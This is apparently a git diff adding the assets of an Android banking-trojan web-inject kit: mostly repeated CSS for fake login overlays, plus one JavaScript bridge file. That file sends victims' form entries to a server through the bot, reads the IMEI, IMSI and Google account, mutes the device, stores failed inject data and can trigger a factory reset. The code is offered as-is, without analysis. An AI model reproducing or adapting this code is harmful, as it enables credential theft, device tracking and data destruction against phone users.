||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
* {
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html,body{
|
||||
height: 100%;
|
||||
min-height:100%;
|
||||
}
|
||||
html {
|
||||
min-width: 150px;
|
||||
min-height: 150px;
|
||||
}
|
||||
body {
|
||||
font-family: 'Arial';
|
||||
}
|
||||
.modal {
|
||||
width: 100%;
|
||||
/*float: left;*/
|
||||
text-align: left;
|
||||
/*min-height: 100%;
|
||||
max-height: 100%;*/
|
||||
display:table;
|
||||
height:100%;
|
||||
}
|
||||
.form_header img {
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
}
|
||||
.wrapper {max-width:996px; margin:0 auto; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box;}
|
||||
.container {
|
||||
width: 100%;
|
||||
height:100%;
|
||||
display:table-cell;
|
||||
vertical-align:middle;
|
||||
}
|
||||
|
||||
@-o-viewport {
|
||||
width: 150px;
|
||||
height: device-height;
|
||||
zoom: 1;
|
||||
}
|
||||
@@ -0,0 +1,427 @@
|
||||
/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
|
||||
|
||||
/**
|
||||
* 1. Set default font family to sans-serif.
|
||||
* 2. Prevent iOS text size adjust after orientation change, without disabling
|
||||
* user zoom.
|
||||
*/
|
||||
|
||||
html {
|
||||
font-family: sans-serif; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default margin.
|
||||
*/
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* HTML5 display definitions
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Correct `block` display not defined for any HTML5 element in IE 8/9.
|
||||
* Correct `block` display not defined for `details` or `summary` in IE 10/11
|
||||
* and Firefox.
|
||||
* Correct `block` display not defined for `main` in IE 11.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
details,
|
||||
figcaption,
|
||||
figure,
|
||||
footer,
|
||||
header,
|
||||
hgroup,
|
||||
main,
|
||||
menu,
|
||||
nav,
|
||||
section,
|
||||
summary {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `inline-block` display not defined in IE 8/9.
|
||||
* 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
audio,
|
||||
canvas,
|
||||
progress,
|
||||
video {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent modern browsers from displaying `audio` without controls.
|
||||
* Remove excess height in iOS 5 devices.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `[hidden]` styling not present in IE 8/9/10.
|
||||
* Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
|
||||
*/
|
||||
|
||||
[hidden],
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Links
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the gray background color from active links in IE 10.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Improve readability when focused and also mouse hovered in all browsers.
|
||||
*/
|
||||
|
||||
a:active,
|
||||
a:hover {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9/10/11, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: 1px dotted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in Safari and Chrome.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address variable `h1` font-size and margin within `section` and `article`
|
||||
* contexts in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent and variable font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` affecting `line-height` in all browsers.
|
||||
*/
|
||||
|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove border when inside `a` element in IE 8/9/10.
|
||||
*/
|
||||
|
||||
img {
|
||||
border: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct overflow not hidden in IE 9/10/11.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address margin not present in IE 8/9 and Safari.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address differences between Firefox and other browsers.
|
||||
*/
|
||||
|
||||
hr {
|
||||
-moz-box-sizing: content-box;
|
||||
box-sizing: content-box;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Contain overflow in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address odd `em`-unit font size rendering in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
pre,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Known limitation: by default, Chrome and Safari on OS X allow very limited
|
||||
* styling of `select`, unless a `border` property is set.
|
||||
*/
|
||||
|
||||
/**
|
||||
* 1. Correct color not being inherited.
|
||||
* Known issue: affects color of disabled elements.
|
||||
* 2. Correct font properties not being inherited.
|
||||
* 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
color: inherit; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
margin: 0; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `overflow` set to `hidden` in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
button {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent `text-transform` inheritance for `button` and `select`.
|
||||
* All other form control elements do not inherit `text-transform` values.
|
||||
* Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
|
||||
* Correct `select` style inheritance in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
|
||||
* and `video` controls.
|
||||
* 2. Correct inability to style clickable `input` types in iOS.
|
||||
* 3. Improve usability and consistency of cursor style between image-type
|
||||
* `input` and others.
|
||||
*/
|
||||
|
||||
button,
|
||||
html input[type="button"], /* 1 */
|
||||
input[type="reset"],
|
||||
input[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
cursor: pointer; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-set default cursor for disabled elements.
|
||||
*/
|
||||
|
||||
button[disabled],
|
||||
html input[disabled] {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and border in Firefox 4+.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
input::-moz-focus-inner {
|
||||
border: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address Firefox 4+ setting `line-height` on `input` using `!important` in
|
||||
* the UA stylesheet.
|
||||
*/
|
||||
|
||||
input {
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
/**
|
||||
* It's recommended that you don't attempt to style these elements.
|
||||
* Firefox's implementation doesn't respect box-sizing, padding, or width.
|
||||
*
|
||||
* 1. Address box sizing set to `content-box` in IE 8/9/10.
|
||||
* 2. Remove excess padding in IE 8/9/10.
|
||||
*/
|
||||
|
||||
input[type="checkbox"],
|
||||
input[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix the cursor style for Chrome's increment/decrement buttons. For certain
|
||||
* `font-size` values of the `input`, it causes the cursor style of the
|
||||
* decrement button to change from `default` to `text`.
|
||||
*/
|
||||
|
||||
input[type="number"]::-webkit-inner-spin-button,
|
||||
input[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Address `appearance` set to `searchfield` in Safari and Chrome.
|
||||
* 2. Address `box-sizing` set to `border-box` in Safari and Chrome
|
||||
* (include `-moz` to future-proof).
|
||||
*/
|
||||
|
||||
input[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box; /* 2 */
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and search cancel button in Safari and Chrome on OS X.
|
||||
* Safari (but not Chrome) clips the cancel button when the search input has
|
||||
* padding (and `textfield` appearance).
|
||||
*/
|
||||
|
||||
input[type="search"]::-webkit-search-cancel-button,
|
||||
input[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Define consistent border, margin, and padding.
|
||||
*/
|
||||
|
||||
fieldset {
|
||||
border: 1px solid #c0c0c0;
|
||||
margin: 0 2px;
|
||||
padding: 0.35em 0.625em 0.75em;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `color` not being inherited in IE 8/9/10/11.
|
||||
* 2. Remove padding so people aren't caught out if they zero out fieldsets.
|
||||
*/
|
||||
|
||||
legend {
|
||||
border: 0; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default vertical scrollbar in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Don't inherit the `font-weight` (applied by a rule above).
|
||||
* NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
|
||||
*/
|
||||
|
||||
optgroup {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Tables
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove most spacing between table cells.
|
||||
*/
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
td,
|
||||
th {
|
||||
padding: 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 1.5 KiB |
|
After Width: | Height: | Size: 21 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
$(document).ready(function(){
|
||||
function changeViewport(){
|
||||
if ($(window).width() < 150 || $(window).height() < 150){
|
||||
$('meta[name=viewport]').attr("content", "initial-scale=0");
|
||||
} else {
|
||||
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
|
||||
}
|
||||
}
|
||||
|
||||
changeViewport();
|
||||
});
|
||||
@@ -0,0 +1,216 @@
|
||||
|
||||
.container {
|
||||
overflow: hidden;
|
||||
}
|
||||
.row {
|
||||
width: 100%;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.modal_04{
|
||||
background: #FFFFFF;
|
||||
}
|
||||
.form_header {
|
||||
background: #FFFFFF;
|
||||
text-align: center;
|
||||
position: absolute;
|
||||
width:100%;
|
||||
top:0;
|
||||
left:0;
|
||||
padding: 4px;
|
||||
border-bottom: solid 1px #000;
|
||||
}
|
||||
.container {padding-top:86px;}
|
||||
.form_header:after{
|
||||
display: none;
|
||||
position: absolute;
|
||||
bottom: -17px;
|
||||
z-index: -1;
|
||||
left: 50%;
|
||||
margin-left: -204px;
|
||||
max-width: 100%;
|
||||
}
|
||||
.inp_caption {
|
||||
color: #545353;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 500;
|
||||
text-align: center;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
.inp_wr{
|
||||
text-align: center;
|
||||
}
|
||||
.main_input{
|
||||
border: 1px solid #A7A6AA;
|
||||
outline-style: none;
|
||||
max-width: 200px;
|
||||
height: 23px;
|
||||
background-color: #FFFFFF;
|
||||
|
||||
|
||||
padding-left: 6px;
|
||||
font-size: 19px;
|
||||
width: 100%;
|
||||
}
|
||||
.main_inpute{
|
||||
border: 1px solid #A7A6AA;
|
||||
outline-style: none;
|
||||
max-width: 150px;
|
||||
height: 20px;
|
||||
background-color: #FFFFFF;
|
||||
|
||||
|
||||
padding-left: 6px;
|
||||
font-size: 15px;
|
||||
width: 20%;
|
||||
}
|
||||
.input_block_wr {
|
||||
overflow: hidden;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 15px;
|
||||
}
|
||||
.btn_wr {
|
||||
text-align: center;
|
||||
margin-top: 18px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.login_btn {
|
||||
width: 123px;
|
||||
height: 44px;
|
||||
background-color: #4A6C99;
|
||||
|
||||
|
||||
border: none;
|
||||
outline:none;
|
||||
color: #FFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 700;
|
||||
text-shadow: 0 -2px 1px rgba(0, 0, 2, 0.42);
|
||||
}
|
||||
.content{
|
||||
padding: 15px 10px;
|
||||
background-color:#F0F0F0;
|
||||
|
||||
border: 1px solid #D3D3D3;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
|
||||
|
||||
|
||||
}
|
||||
@media screen and (min-height:568px) and (max-height:736px) and (min-width:320px){
|
||||
.main_input {height:54px; font-size:23px;}
|
||||
.login_btn {height:54px; width:180px; font-size:23px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:35px;}
|
||||
.inp_caption {margin-bottom:20px; font-size:23px;}
|
||||
}
|
||||
@media screen and (min-height:737px) and (min-width:320px){
|
||||
.main_input {height:64px; font-size:23px; max-width:640px;}
|
||||
.login_btn {height:64px; width:230px; font-size:25px;}
|
||||
.inp_caption {font-size:25px;}
|
||||
}
|
||||
@media screen and (min-height:800px) and (min-width:320px){
|
||||
.main_input {height:74px; font-size:25px;}
|
||||
.login_btn {height:74px; width:230px; font-size:29px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:40px;}
|
||||
.inp_caption {font-size:29px;}
|
||||
}
|
||||
@media screen and (min-height:568px) and (max-height:736px) and (min-width:320px){
|
||||
.main_inpute {height:54px; font-size:23px;}
|
||||
.login_btn {height:54px; width:180px; font-size:23px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:35px;}
|
||||
.inp_caption {margin-bottom:20px; font-size:23px;}
|
||||
}
|
||||
@media screen and (min-height:737px) and (min-width:320px){
|
||||
.main_inpute {height:64px; font-size:23px; max-width:640px;}
|
||||
.login_btn {height:64px; width:230px; font-size:25px;}
|
||||
.inp_caption {font-size:25px;}
|
||||
}
|
||||
@media screen and (min-height:800px) and (min-width:320px){
|
||||
.main_inpute {height:74px; font-size:25px;}
|
||||
.login_btn {height:74px; width:230px; font-size:29px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:40px;}
|
||||
.inp_caption {font-size:29px;}
|
||||
}
|
||||
|
||||
@media screen and (max-height: 360px){
|
||||
.form_header {
|
||||
padding: 5px;
|
||||
height: 60px;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
.container {padding-top:50px;}
|
||||
.inp_caption {
|
||||
font-size: 13px;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.form_header:after {
|
||||
content: none;
|
||||
}
|
||||
.main_input{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.main_inpute{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.login_btn{
|
||||
height: 25px;
|
||||
line-height: 19px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.btn_wr {
|
||||
margin-top: 12px;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
}
|
||||
@media screen and (max-width: 200px) and (max-height: 240px) {
|
||||
.form_header {
|
||||
padding: 2px;
|
||||
height: 20px;
|
||||
}
|
||||
.container {padding-top:24px;}
|
||||
.content {
|
||||
padding: 0 3px;
|
||||
}
|
||||
.inp_caption {
|
||||
font-size: 10px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.row + .row{
|
||||
margin-top: 2px;
|
||||
}
|
||||
.main_input{
|
||||
height: 15px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.main_inpute{
|
||||
height: 15px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 3px;
|
||||
}
|
||||
.btn_wr{
|
||||
margin-top: 4px;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
.login_btn{
|
||||
font-size: 10px;
|
||||
height: 19px;
|
||||
line-height: 10px;
|
||||
width: 70px;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
* {
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html,body{
|
||||
height: 100%;
|
||||
min-height:100%;
|
||||
}
|
||||
html {
|
||||
min-width: 150px;
|
||||
min-height: 150px;
|
||||
}
|
||||
body {
|
||||
font-family: 'Arial';
|
||||
}
|
||||
.modal {
|
||||
width: 100%;
|
||||
/*float: left;*/
|
||||
text-align: left;
|
||||
/*min-height: 100%;
|
||||
max-height: 100%;*/
|
||||
display:table;
|
||||
height:100%;
|
||||
}
|
||||
.form_header img {
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
}
|
||||
.wrapper {max-width:996px; margin:0 auto; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box;}
|
||||
.container {
|
||||
width: 100%;
|
||||
height:100%;
|
||||
display:table-cell;
|
||||
vertical-align:middle;
|
||||
}
|
||||
|
||||
@-o-viewport {
|
||||
width: 150px;
|
||||
height: device-height;
|
||||
zoom: 1;
|
||||
}
|
||||
@@ -0,0 +1,427 @@
|
||||
/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
|
||||
|
||||
/**
|
||||
* 1. Set default font family to sans-serif.
|
||||
* 2. Prevent iOS text size adjust after orientation change, without disabling
|
||||
* user zoom.
|
||||
*/
|
||||
|
||||
html {
|
||||
font-family: sans-serif; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default margin.
|
||||
*/
|
||||
